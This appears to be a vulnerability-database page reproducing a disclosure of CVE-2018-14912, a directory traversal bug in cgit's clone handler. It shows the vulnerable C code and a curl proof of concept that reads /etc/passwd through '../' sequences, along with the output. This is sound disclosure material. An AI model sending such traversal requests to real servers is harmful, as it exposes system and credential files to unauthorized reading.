| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
| cgit -- directory traversal vulnerability | 3 Aug 201800:00 | – | freebsd | |
| cgit 1.2.1 - Directory Traversal Exploit | 14 Aug 201800:00 | – | zdt | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | alpinelinux | |
| [ASA-201808-2] cgit: directory traversal | 3 Aug 201800:00 | – | archlinux | |
| CVE-2018-14912 | 13 Aug 201821:33 | – | circl | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | cve | |
| CVE-2018-14912 | 3 Aug 201819:00 | – | cvelist | |
| [SECURITY] [DLA-1459-1] cgit security update | 6 Aug 201807:07 | – | debian | |
| [SECURITY] [DSA 4263-1] cgit security update | 4 Aug 201812:05 | – | debian | |
| [SECURITY] [DSA 4263-1] cgit security update | 4 Aug 201812:05 | – | debian |
`cgit: directory traversal in cgit_clone_objects()
CVE-2018-14912
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
void cgit_clone_objects(void)
{
if (!ctx.qry.path) {
cgit_print_error_page(400, "Bad request", "Bad request");
return;
}
if (!strcmp(ctx.qry.path, "info/packs")) {
print_pack_info();
return;
}
send_file(git_path("objects/%s", ctx.qry.path));
}
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring. To trigger this case:
$ curl http://127.0.0.1/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: jannh
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation